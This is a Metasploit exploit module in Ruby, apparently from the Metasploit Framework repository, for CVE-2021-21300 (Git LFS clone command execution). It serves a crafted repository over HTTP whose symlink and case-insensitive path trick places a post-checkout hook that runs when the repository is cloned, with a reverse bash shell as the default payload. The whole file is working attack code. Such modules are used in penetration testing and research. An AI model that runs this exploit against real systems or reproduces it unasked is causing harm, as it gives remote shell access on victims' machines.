c9bdd96c76
post-checkout is the only hook that will work with this exploit, so no option is needed. Also update the documentation to reflect that.
232 lines
6.8 KiB
Ruby
232 lines
6.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Git
|
|
include Msf::Exploit::Git::SmartHttp
|
|
include Msf::Exploit::Git::Lfs
|
|
include Msf::Exploit::Remote::HttpServer
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Git LFS Clone Command Exec',
|
|
'Description' => %q{
|
|
Git clients that support delay-capable clean / smudge
|
|
filters and symbolic links on case-insensitive file systems are
|
|
vulnerable to remote code execution while cloning a repository.
|
|
|
|
Usage of clean / smudge filters through Git LFS and a
|
|
case-insensitive file system changes the checkout order
|
|
of repository files which enables the placement of a Git hook
|
|
in the `.git/hooks` directory. By default, this module writes
|
|
a `post-checkout` script so that the payload will automatically
|
|
be executed upon checkout of the repository.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Johannes Schindelin', # Discovery
|
|
'Matheus Tavares', # Discovery
|
|
'Shelby Pace' # Metasploit module
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2021-21300' ],
|
|
[ 'URL', 'https://seclists.org/fulldisclosure/2021/Apr/60' ],
|
|
[ 'URL', 'https://twitter.com/Foone/status/1369500506469527552?s=20' ]
|
|
],
|
|
'DisclosureDate' => '2021-04-26',
|
|
'Platform' => [ 'unix' ],
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Git for MacOS, Windows',
|
|
{
|
|
'Platform' => [ 'unix' ],
|
|
'Arch' => ARCH_CMD,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Notes' =>
|
|
{
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'Reliability' => [ REPEATABLE_SESSION ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])
|
|
]
|
|
)
|
|
|
|
deregister_options('RHOSTS', 'RPORT')
|
|
end
|
|
|
|
def exploit
|
|
setup_repo_structure
|
|
super
|
|
end
|
|
|
|
def setup_repo_structure
|
|
link_content = '.git/hooks'
|
|
link_name = Rex::Text.rand_text_alpha(8..12).downcase
|
|
link_obj = GitObject.build_blob_object(link_content)
|
|
|
|
dir_name = link_name.upcase
|
|
git_attr = '.gitattributes'
|
|
|
|
git_hook = 'post-checkout'
|
|
@hook_payload = "#!/bin/sh\n#{payload.encoded}"
|
|
ptr_file = generate_pointer_file(@hook_payload)
|
|
|
|
# need to initially send the pointer file
|
|
# then send the actual object when Git LFS requests it
|
|
git_hook_ptr = GitObject.build_blob_object(ptr_file)
|
|
|
|
git_attr_content = "#{dir_name}/#{git_hook} filter=lfs diff=lfs merge=lfs"
|
|
git_attr_obj = GitObject.build_blob_object(git_attr_content)
|
|
|
|
sub_file_content = Rex::Text.rand_text_alpha(0..150)
|
|
sub_file_name = Rex::Text.rand_text_alpha(8..12)
|
|
sub_file_obj = GitObject.build_blob_object(sub_file_content)
|
|
|
|
register_dir_for_cleanup('.git')
|
|
register_files_for_cleanup(git_attr, link_name)
|
|
|
|
# create subdirectory which holds payload
|
|
sub_tree =
|
|
[
|
|
{
|
|
mode: '100644',
|
|
file_name: sub_file_name,
|
|
sha1: sub_file_obj.sha1
|
|
},
|
|
{
|
|
mode: '100755',
|
|
file_name: git_hook,
|
|
sha1: git_hook_ptr.sha1
|
|
}
|
|
]
|
|
|
|
sub_tree_obj = GitObject.build_tree_object(sub_tree)
|
|
|
|
# root of repository
|
|
tree_ent =
|
|
[
|
|
{
|
|
mode: '100644',
|
|
file_name: git_attr,
|
|
sha1: git_attr_obj.sha1
|
|
},
|
|
{
|
|
mode: '040000',
|
|
file_name: dir_name,
|
|
sha1: sub_tree_obj.sha1
|
|
},
|
|
{
|
|
mode: '120000',
|
|
file_name: link_name,
|
|
sha1: link_obj.sha1
|
|
}
|
|
]
|
|
tree_obj = GitObject.build_tree_object(tree_ent)
|
|
commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)
|
|
|
|
@git_objs =
|
|
[
|
|
commit, tree_obj, sub_tree_obj,
|
|
sub_file_obj, git_attr_obj, git_hook_ptr,
|
|
link_obj
|
|
]
|
|
|
|
@refs =
|
|
{
|
|
'HEAD' => 'refs/heads/master',
|
|
'refs/heads/master' => commit.sha1
|
|
}
|
|
end
|
|
|
|
def create_git_uri
|
|
"/#{Faker::App.name.downcase}.git".gsub(' ', '-')
|
|
end
|
|
|
|
def primer
|
|
@git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']
|
|
@git_addr = URI.parse(get_uri).merge(@git_repo_uri)
|
|
print_status("Git repository to clone: #{@git_addr}")
|
|
hardcoded_uripath(@git_repo_uri)
|
|
hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}")
|
|
end
|
|
|
|
def on_request_uri(cli, req)
|
|
if req.uri.include?('git-upload-pack')
|
|
request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req)
|
|
case request.type
|
|
when 'ref-discovery'
|
|
response = send_refs(request)
|
|
when 'upload-pack'
|
|
response = send_requested_objs(request)
|
|
else
|
|
fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')
|
|
end
|
|
else
|
|
response = handle_lfs_objects(req)
|
|
unless response.code == 200
|
|
cli.send_response(response)
|
|
fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')
|
|
end
|
|
end
|
|
|
|
cli.send_response(response)
|
|
end
|
|
|
|
def send_refs(req)
|
|
fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'
|
|
|
|
response = get_ref_discovery_response(req, @refs)
|
|
fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response
|
|
|
|
response
|
|
end
|
|
|
|
def send_requested_objs(req)
|
|
upload_pack_resp = get_upload_pack_response(req, @git_objs)
|
|
unless upload_pack_resp
|
|
fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')
|
|
end
|
|
|
|
upload_pack_resp
|
|
end
|
|
|
|
def handle_lfs_objects(req)
|
|
git_hook_obj = GitObject.build_blob_object(@hook_payload)
|
|
|
|
case req.method
|
|
when 'POST'
|
|
print_status('Sending payload data...')
|
|
response = get_batch_response(req, @git_addr, git_hook_obj)
|
|
fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
|
|
when 'GET'
|
|
print_status('Sending LFS object...')
|
|
response = get_requested_obj_response(req, git_hook_obj)
|
|
fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
|
|
else
|
|
fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
|
|
end
|
|
|
|
response
|
|
end
|
|
end
|